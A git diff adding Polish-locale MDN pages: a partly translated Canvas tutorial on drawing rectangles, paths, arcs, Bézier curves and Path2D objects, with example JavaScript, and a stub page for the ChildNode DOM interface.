+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Nim zaczniemy rysować, poznajmy najpierw siatkę czyli <strong>układ współrzędnych</strong> canvas. Szablon dokumentu z poprzedniego rozdziału zawiera element canvas o rozmiarach 150 na 150 (pikseli). Ilustracja po prawej ukazuje standardową siatkę naszego płótna. Domyślnie jedna jednostka odległości na siatce odpowiada wielkości jednego piksela na płótnie. Wartości siatki liczone są od lewego górnego rogu układu współrzędnych (x,y). W dalszej części dowiesz się, jak zamienić pozycję, tak by początek układu współrzędnych znajdował się gdzie indziej, jak go obrócić a nawet przeskalować. Na razie jednak użyjemy ustawień domyślnych. </p>
+
+<h2 id="Rysowanie_prostokątów">Rysowanie prostokątów</h2>
+
+<p>W przeciwieństwie do {{Glossary("SVG")}}, {{HTMLElement("canvas")}} na razie wspiera jedynie tworzenie prostokątów. Pozostałe figury geometryczne musimy stworzyć za pomocą ścieżek. Na szczęście mamy do dyspozycji zestaw funkcji za pomocą których jesteśmy w stanie stworzyć figury o dowolnej złożoności.</p>
+
+<p>Najpierw przyjrzyjmy się prostokątowi. Istnieją trzy funkcje rysujące prostokąt:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}</dt>
+ <dd>Rysuje pole prostokąta.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}</dt>
+ <dd>Rysuje obwód prostokąta.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}</dt>
+ <dd>Wymazuje prostokątny obszar, w wyniku czego staje się on całkiem przezroczysty. Działą to jak gumka w formie prostokąta.</dd>
+</dl>
+
+<p>Każda z tych funkcji posiada jednakowe parametry. <code>x</code> i <code>y</code> to współrzędne na siatce - wyznaczają one pozycje lewego górnego rogu prostokąta. A <code>width</code> oraz <code>height</code> określają jego rozmiar.</p>
+
+<p>Poniżej znajduje się funkcja<code>draw()</code> z poprzedniej strony, tutaj wzbogacona o trzy metody tworzenia prostokątów.</p>
+
+<h3 id="Rectangular_shape_example">Rectangular shape example</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ ctx.fillRect(25,25,100,100);
+ ctx.clearRect(45,45,60,60);
+ ctx.strokeRect(50,50,50,50);
+ }
+}</pre>
+
+<p>Oto wynik działania tego skryptu:</p>
+
+<p>{{EmbedLiveSample("Rectangular_shape_example", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
+
+<p>Funkcja <code>fillRect()</code> rysuje czarny kwadrat o boku 100 pikseli. Funkcja <code>clearRect()</code> wymazuje kwadratowy obszar o boku 60 pikseli pośrodku czarnego prostokąta, a następnie wywołanie funkcji <code>strokeRect()</code> tworzy obrys kratdatu o boku 50 pikseli również w centrum poprzedniej figury.</p>
+
+<p>W kolejnych rozdziałąch poznasz dwie inne *metody dla <code>clearReact()</code>, oraz zobaczysz jak zmienić kolor oraz styl obrysu renderowanych kształtów.</p>
+
+<p>W przeciwieńśtwie do funkcji tworzących ścieżki o czym przekonasz się później, wszystkie trzy funkcje tworzące prostokąt rysują kształ natychmiast po ich wywołaniu.</p>
+
+<h2 id="Rysowanie_ścieżek">Rysowanie ścieżek</h2>
+
+<p>Drugim zarazem ostatnim podstawowym kształetem jest <em>cieżka</em>. Ścieżka złożona jest z punktów połączonych liniami prostymi lub krzywymi, o różnej grubości i o różnym kolorze. Ścieżka, a nawet jej fragment może być zamknięta. Aby utworzyć kształt za pomocą ścieżki wykonaj następujące kroki:</p>
+
+<ol>
+ <li>utwórz ścieżkę,</li>
+ <li>użyj <a href="/pl/docs/Web/API/CanvasRenderingContext2D#Paths">komend rysujących</a> aby rysować ścieżkę,</li>
+ <li>zamknij ścieżkę.</li>
+ <li>Po utworzeniu ścieżki możesz ją obrysować lub wypełnić, i dopiero wtedy ukaże się ona w canvasie.</li>
+</ol>
+
+<p>Oto funkcje potrzebne do wykonania tego zadania:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt>
+ <dd>Tworzy nową ścieżkę. Po jej utworzeniu, wszelkie kolejne funkcce rysujące będą się do niej odwoływały oraz kontynuowały jej rysunek.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path methods</a></dt>
+ <dd>Metoda do ustalania innych ścieżek dla obiektów.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt>
+ <dd>Zamyka ścieżkę aby przyszłe polecenia rysowania, były kierowane ponownie do kontekstu(ctx).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}</dt>
+ <dd>Rysuje kształ poprzez odrysowanie konturu.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}</dt>
+ <dd>Rysuje kształ poprzez wypełnienie ścieżek wyznaczonego obszaru kontekstowego.</dd>
+</dl>
+
+<p>The first step to create a path is to call the <code>beginPath()</code>. Internally, paths are stored as a list of sub-paths (lines, arcs, etc) which together form a shape. Every time this method is called, the list is reset and we can start drawing new shapes.</p>
+
+<div class="note"><strong>Note:</strong> When the current path is empty, such as immediately after calling <code>beginPath()</code>, or on a newly created canvas, the first path construction command is always treated as a <code>moveTo()</code>, regardless of what it actually is. For that reason, you will almost always want to specifically set your starting position after resetting a path.</div>
+
+<p>The second step is calling the methods that actually specify the paths to be drawn. We'll see these shortly.</p>
+
+<p>The third, and an optional step, is to call <code>closePath()</code>. This method tries to close the shape by drawing a straight line from the current point to the start. If the shape has already been closed or there's only one point in the list, this function does nothing.</p>
+
+<div class="note"><strong>Note:</strong> When you call <code>fill()</code>, any open shapes are closed automatically, so you don't have to call <code>closePath()</code>. This is <strong>not</strong> the case when you call <code>stroke()</code>.</div>
+
+<h3 id="Drawing_a_triangle">Drawing a triangle</h3>
+
+<p>For example, the code for drawing a triangle would look something like this:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+
+ ctx.beginPath();
+ ctx.moveTo(75,50);
+ ctx.lineTo(100,75);
+ ctx.lineTo(100,25);
+ ctx.fill();
+ }
+}
+</pre>
+
+<p>The result looks like this:</p>
+
+<p>{{EmbedLiveSample("Drawing_a_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}</p>
+
+<h3 id="Moving_the_pen">Moving the pen</h3>
+
+<p>One very useful function, which doesn't actually draw anything but becomes part of the path list described above, is the <code>moveTo()</code> function. You can probably best think of this as lifting a pen or pencil from one spot on a piece of paper and placing it on the next.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}</dt>
+ <dd>Moves the pen to the coordinates specified by <code>x</code> and <code>y</code>.</dd>
+</dl>
+
+<p>When the canvas is initialized or <code>beginPath()</code> is called, you typically will want to use the <code>moveTo()</code> function to place the starting point somewhere else. We could also use <code>moveTo()</code> to draw unconnected paths. Take a look at the smiley face below.</p>
+
+<p>To try this for yourself, you can use the code snippet below. Just paste it into the <code>draw()</code> function we saw earlier.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight:[8,10,12]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+
+ ctx.beginPath();
+ ctx.arc(75,75,50,0,Math.PI*2,true); // Outer circle
+ ctx.moveTo(110,75);
+ ctx.arc(75,75,35,0,Math.PI,false); // Mouth (clockwise)
+ ctx.moveTo(65,65);
+ ctx.arc(60,65,5,0,Math.PI*2,true); // Left eye
+ ctx.moveTo(95,65);
+ ctx.arc(90,65,5,0,Math.PI*2,true); // Right eye
+ ctx.stroke();
+ }
+}
+</pre>
+
+<p>The result looks like this:</p>
+
+<p>{{EmbedLiveSample("Moving_the_pen", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p>
+
+<p>If you'd like to see the connecting lines, you can remove the lines that call <code>moveTo()</code>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> To learn more about the <code>arc()</code> function, see the {{anch("Arcs")}} below.</p>
+</div>
+
+<h3 id="Lines">Lines</h3>
+
+<p>For drawing straight lines, use the <code>lineTo()</code> method.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt>
+ <dd>Draws a line from the current drawing position to the position specified by <code>x</code> and <code>y</code>.</dd>
+</dl>
+
+<p>This method takes two arguments, <code>x</code> and <code>y</code>, which are the coordinates of the line's end point. The starting point is dependent on previously drawn paths, where the end point of the previous path is the starting point for the following, etc. The starting point can also be changed by using the <code>moveTo()</code> method.</p>
+
+<p>The example below draws two triangles, one filled and one outlined.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,16,17]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+
+ // Filled triangle
+ ctx.beginPath();
+ ctx.moveTo(25,25);
+ ctx.lineTo(105,25);
+ ctx.lineTo(25,105);
+ ctx.fill();
+
+ // Stroked triangle
+ ctx.beginPath();
+ ctx.moveTo(125,125);
+ ctx.lineTo(125,45);
+ ctx.lineTo(45,125);
+ ctx.closePath();
+ ctx.stroke();
+ }
+}
+</pre>
+
+<p>This starts by calling <code>beginPath()</code> to start a new shape path. We then use the <code>moveTo()</code> method to move the starting point to the desired position. Below this, two lines are drawn which make up two sides of the triangle.</p>
+
+<p>{{EmbedLiveSample("Lines", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
+
+<p>You'll notice the difference between the filled and stroked triangle. This is, as mentioned above, because shapes are automatically closed when a path is filled, but not when they are stroked. If we left out the <code>closePath()</code> for the stroked triangle, only two lines would have been drawn, not a complete triangle.</p>
+
+<h3 id="Arcs">Arcs</h3>
+
+<p>To draw arcs or circles, we use the <code>arc()</code> or <code>arcTo()</code> methods.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}</dt>
+ <dd>Draws an arc which is centered at <em>(x, y)</em> position with radius<em> r</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction indicated by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}</dt>
+ <dd>Draws an arc with the given control points and radius, connected to the previous point by a straight line.</dd>
+</dl>
+
+<p>Let's have a more detailed look at the <code>arc</code> method, which takes six parameters: <code>x</code> and <code>y</code> are the coordinates of the center of the circle on which the arc should be drawn. <code>radius</code> is self-explanatory. The <code>startAngle</code> and <code>endAngle</code> parameters define the start and end points of the arc in radians, along the curve of the circle. These are measured from the x axis. The <code>anticlockwise</code> parameter is a Boolean value which, when <code>true</code>, draws the arc anticlockwise; otherwise, the arc is drawn clockwise.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Angles in the <code>arc</code> function are measured in radians, not degrees. To convert degrees to radians you can use the following JavaScript expression: <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<p>The following example is a little more complex than the ones we've seen above. It draws 12 different arcs all with different angles and fills.</p>
+
+<p>The two <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> loops</a> are for looping through the rows and columns of arcs. For each arc, we start a new path by calling <code>beginPath()</code>. In the code, each of the parameters for the arc is in a variable for clarity, but you wouldn't necessarily do that in real life.</p>
+
+<p>The <code>x</code> and <code>y</code> coordinates should be clear enough. <code>radius</code> and <code>startAngle</code> are fixed. The <code>endAngle</code> starts at 180 degrees (half a circle) in the first column and is increased by steps of 90 degrees, culminating in a complete circle in the last column.</p>
+
+<p>The statement for the <code>clockwise</code> parameter results in the first and third row being drawn as clockwise arcs and the second and fourth row as counterclockwise arcs. Finally, the <code>if</code> statement makes the top half stroked arcs and the bottom half filled arcs.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This example requires a slightly larger canvas than the others on this page: 150 x 200 pixels.</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[16]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+
+ for(var i=0;i&lt;4;i++){
+ for(var j=0;j&lt;3;j++){
+ ctx.beginPath();
+ var x = 25+j*50; // x coordinate
+ var y = 25+i*50; // y coordinate
+ var radius = 20; // Arc radius
+ var startAngle = 0; // Starting point on circle
+ var endAngle = Math.PI+(Math.PI*j)/2; // End point on circle
+ var anticlockwise = i%2==0 ? false : true; // clockwise or anticlockwise
+
+ ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+ if (i&gt;1){
+ ctx.fill();
+ } else {
+ ctx.stroke();
+ }
+ }
+ }
+ }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}</p>
+
+<h3 id="Bezier_and_quadratic_curves">Bezier and quadratic curves</h3>
+
+<p>The next type of paths available are <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve" rel="external" title="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Bézier curves</a>, available in both cubic and quadratic varieties. These are generally used to draw complex organic shapes.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}</dt>
+ <dd>Draws a quadratic Bézier curve from the current pen position to the end point specified by <code>x</code> and <code>y</code>, using the control point specified by <code>cp1x</code> and <code>cp1y</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}</dt>
+ <dd>Draws a cubic Bézier curve from the current pen position to the end point specified by <code>x</code> and <code>y</code>, using the control points specified by (<code>cp1x</code>, <code>cp1y</code>) and (cp2x, cp2y).</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">The difference between these can best be described using the image on the right. A quadratic Bézier curve has a start and an end point (blue dots) and just one <strong>control point</strong> (indicated by the red dot) while a cubic Bézier curve uses two control points.</p>
+
+<p>The <code>x</code> and <code>y</code> parameters in both of these methods are the coordinates of the end point. <code>cp1x</code> and <code>cp1y</code> are the coordinates of the first control point, and <code>cp2x</code> and <code>cp2y</code> are the coordinates of the second control point.</p>
+
+<p>Using quadratic and cubic Bézier curves can be quite challenging, because unlike vector drawing software like Adobe Illustrator, we don't have direct visual feedback as to what we're doing. This makes it pretty hard to draw complex shapes. In the following example, we'll be drawing some simple organic shapes, but if you have the time and, most of all, the patience, much more complex shapes can be created.</p>
+
+<p>There's nothing very difficult in these examples. In both cases we see a succession of curves being drawn which finally result in a complete shape.</p>
+
+<h4 id="Quadratic_Bezier_curves">Quadratic Bezier curves</h4>
+
+<p>This example uses multiple quadratic Bézier curves to render a speech balloon.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ // Quadratric curves example
+ ctx.beginPath();
+ ctx.moveTo(75,25);
+ ctx.quadraticCurveTo(25,25,25,62.5);
+ ctx.quadraticCurveTo(25,100,50,100);
+ ctx.quadraticCurveTo(50,120,30,125);
+ ctx.quadraticCurveTo(60,120,65,100);
+ ctx.quadraticCurveTo(125,100,125,62.5);
+ ctx.quadraticCurveTo(125,25,75,25);
+ ctx.stroke();
+ }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Quadratic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p>
+
+<h4 id="Cubic_Bezier_curves">Cubic Bezier curves</h4>
+
+<p>This example draws a heart using cubic Bézier curves.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+
+ // Quadratric curves example
+ ctx.beginPath();
+ ctx.moveTo(75,40);
+ ctx.bezierCurveTo(75,37,70,25,50,25);
+ ctx.bezierCurveTo(20,25,20,62.5,20,62.5);
+ ctx.bezierCurveTo(20,80,40,102,75,120);
+ ctx.bezierCurveTo(110,102,130,80,130,62.5);
+ ctx.bezierCurveTo(130,62.5,130,25,100,25);
+ ctx.bezierCurveTo(85,25,75,37,75,40);
+ ctx.fill();
+ }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p>
+
+<h3 id="Rectangles">Rectangles</h3>
+
+<p>In addition to the three methods we saw in {{anch("Drawing rectangles")}}, which draw rectangular shapes directly to the canvas, there's also the <code>rect()</code> method, which adds a rectangular path to a currently open path.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "rect(x, y, width, height)")}}</dt>
+ <dd>Draws a rectangle whose top-left corner is specified by (<code>x</code>, <code>y</code>) with the specified <code>width</code> and <code>height</code>.</dd>
+</dl>
+
+<p>When this method is executed, the <code>moveTo()</code> method is automatically called with the parameters (0,0). In other words, the current pen position is automatically reset to the default coordinates.</p>
+
+<h3 id="Making_combinations">Making combinations</h3>
+
+<p>So far, each example on this page has used only one type of path function per shape. However, there's no limitation to the number or types of paths you can use to create a shape. So in this final example, let's combine all of the path functions to make a set of very famous game characters.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+
+ roundedRect(ctx,12,12,150,150,15);
+ roundedRect(ctx,19,19,150,150,9);
+ roundedRect(ctx,53,53,49,33,10);
+ roundedRect(ctx,53,119,49,16,6);
+ roundedRect(ctx,135,53,49,33,10);
+ roundedRect(ctx,135,119,25,49,10);
+
+ ctx.beginPath();
+ ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false);
+ ctx.lineTo(31,37);
+ ctx.fill();
+
+ for(var i=0;i&lt;8;i++){
+ ctx.fillRect(51+i*16,35,4,4);
+ }
+
+ for(i=0;i&lt;6;i++){
+ ctx.fillRect(115,51+i*16,4,4);
+ }
+
+ for(i=0;i&lt;8;i++){
+ ctx.fillRect(51+i*16,99,4,4);
+ }
+
+ ctx.beginPath();
+ ctx.moveTo(83,116);
+ ctx.lineTo(83,102);
+ ctx.bezierCurveTo(83,94,89,88,97,88);
+ ctx.bezierCurveTo(105,88,111,94,111,102);
+ ctx.lineTo(111,116);
+ ctx.lineTo(106.333,111.333);
+ ctx.lineTo(101.666,116);
+ ctx.lineTo(97,111.333);
+ ctx.lineTo(92.333,116);
+ ctx.lineTo(87.666,111.333);
+ ctx.lineTo(83,116);
+ ctx.fill();
+
+ ctx.fillStyle = "white";
+ ctx.beginPath();
+ ctx.moveTo(91,96);
+ ctx.bezierCurveTo(88,96,87,99,87,101);
+ ctx.bezierCurveTo(87,103,88,106,91,106);
+ ctx.bezierCurveTo(94,106,95,103,95,101);
+ ctx.bezierCurveTo(95,99,94,96,91,96);
+ ctx.moveTo(103,96);
+ ctx.bezierCurveTo(100,96,99,99,99,101);
+ ctx.bezierCurveTo(99,103,100,106,103,106);
+ ctx.bezierCurveTo(106,106,107,103,107,101);
+ ctx.bezierCurveTo(107,99,106,96,103,96);
+ ctx.fill();
+
+ ctx.fillStyle = "black";
+ ctx.beginPath();
+ ctx.arc(101,102,2,0,Math.PI*2,true);
+ ctx.fill();
+
+ ctx.beginPath();
+ ctx.arc(89,102,2,0,Math.PI*2,true);
+ ctx.fill();
+ }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx,x,y,width,height,radius){
+ ctx.beginPath();
+ ctx.moveTo(x,y+radius);
+ ctx.lineTo(x,y+height-radius);
+ ctx.arcTo(x,y+height,x+radius,y+height,radius);
+ ctx.lineTo(x+width-radius,y+height);
+ ctx.arcTo(x+width,y+height,x+width,y+height-radius,radius);
+ ctx.lineTo(x+width,y+radius);
+ ctx.arcTo(x+width,y,x+width-radius,y,radius);
+ ctx.lineTo(x+radius,y);
+ ctx.arcTo(x,y,x,y+radius,radius);
+ ctx.stroke();
+}
+</pre>
+
+<p>The resulting image looks like this:</p>
+
+<p>{{EmbedLiveSample("Making_combinations", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}</p>
+
+<p>We won't go over this in detail, since it's actually surprisingly simple. The most important things to note are the use of the <code>fillStyle</code> property on the drawing context, and the use of a utility function (in this case <code>roundedRect()</code>). Using utility functions for bits of drawing you do often can be very helpful and reduce the amount of code you need, as well as its complexity.</p>
+
+<p>We'll take another look at <code>fillStyle</code>, in more detail, later in this tutorial. Here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then back again.</p>
+
+<h2 id="Path2D_objects">Path2D objects</h2>
+
+<p>As we have seen in the last example, there can be a series of paths and drawing commands to draw objects onto your canvas. To simplify the code and to improve performance, the {{domxref("Path2D")}} object, available in recent versions of browsers, lets you cache or record these drawing commands. You are able to play back your paths quickly.<br>
+ Lets see how we can construct a <code>Path2D</code> object:</p>
+
+<dl>
+ <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt>
+ <dd>The <code><strong>Path2D()</strong></code> constructor returns a newly instantiated <code>Path2D</code> object, optionally with another path as an argument (creates a copy), or optionally with a string consisting of <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> data.</dd>
+</dl>
+
+<pre class="brush: js">new Path2D(); // empty path object
+new Path2D(path); // copy from another Path2D object
+new Path2D(d); // path from SVG path data</pre>
+
+<p>All <a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">path methods</a> like <code>moveTo</code>, <code>rect</code>, <code>arc</code> or <code>quadraticCurveTo</code>, etc., which we got to know above, are available on <code>Path2D</code> objects.</p>
+
+<p>The <code>Path2D</code> API also adds a way to combine paths using the <code>addPath</code> method. This can be useful when you want to build objects from several components, for example.</p>
+
+<dl>
+ <dt>{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}</dt>
+ <dd>Adds a path to the current path with an optional transformation matrix.</dd>
+</dl>
+
+<h3 id="Path2D_example">Path2D example</h3>
+
+<p>In this example, we are creating a rectangle and a circle. Both are stored as a <code>Path2D</code> object, so that they are available for later usage. With the new <code>Path2D</code> API, several methods got updated to optionally accept a <code>Path2D</code> object to use instead of the current path. Here, <code>stroke</code> and <code>fill</code> are used with a path argument to draw both objects onto the canvas, for example.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="130" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[6,9]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+
+ var rectangle = new Path2D();
+ rectangle.rect(10, 10, 50, 50);
+
+ var circle = new Path2D();
+ circle.moveTo(125, 35);
+ circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+ ctx.stroke(rectangle);
+ ctx.fill(circle);
+ }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}</p>
+
+<h3 id="Using_SVG_paths">Using SVG paths</h3>
+
+<p>Another powerful feature of the new canvas <code>Path2D</code> API is using <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a> to initialize paths on your canvas. This might allow you to pass around path data and re-use them in both, SVG and canvas.</p>
+
+<p>The path will move to point (<code>M10 10</code>) and then move horizontally 80 points to the right (<code>h 80</code>), then 80 points down (<code>v 80</code>), then 80 points to the left (<code>h -80</code>), and then back to the start (<code>z</code>). You can see this example on the <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a> page.</p>
+
+<pre class="brush: js;">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre>
+
+<div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
diff --git a/files/pl/web/api/childnode/index.html b/files/pl/web/api/childnode/index.html
new file mode 100644
index 0000000000..f10d177d3c
--- /dev/null
+++ b/files/pl/web/api/childnode/index.html
@@ -0,0 +1,190 @@
+---
+title: ChildNode
+slug: Web/API/ChildNode
+tags:
+ - API
+ - DOM
+ - Experimental
+ - Interface
+ - NeedsTranslation
+ - Node
+ - TopicStub
+translation_of: Web/API/ChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>The <code><strong>childNodes</strong></code> interface contains methods that are particular to {{domxref("Node")}} objects that can have a parent.</p>
+
+<p><code>childNodes</code> is a raw interface and no object of this type can be created; it is implemented by {{domxref("Element")}}, {{domxref("DocumentType")}}, and {{domxref("CharacterData")}} objects.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>There are neither inherited, nor specific properties.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>There are no inherited methods.</em></p>
+
+<dl>
+ <dt>{{domxref("childNodes.remove()")}} {{experimental_inline}}</dt>
+ <dd>Removes this <code>childNodes</code> from the children list of its parent.</dd>
+ <dt>{{domxref("childNodes.before()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>childNodes</code>'s parent, just before this <code>childNodes</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("childNodes.after()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>childNodes</code>'s parent, just after this <code>childNodes</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("childNodes.replaceWith()")}} {{experimental_inline}}</dt>
+ <dd>Replaces this <code>childNodes</code> in the children list of its parent with a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'childNodes')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Split the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}} and <code>childNodes</code>. <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter. The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces. Added the <code>remove()</code>, <code>before()</code>, <code>after()</code> and <code>replaceWith()</code> methods.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+ <td>{{Spec2('Element Traversal')}}</td>
+ <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>External on github: <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p>
+
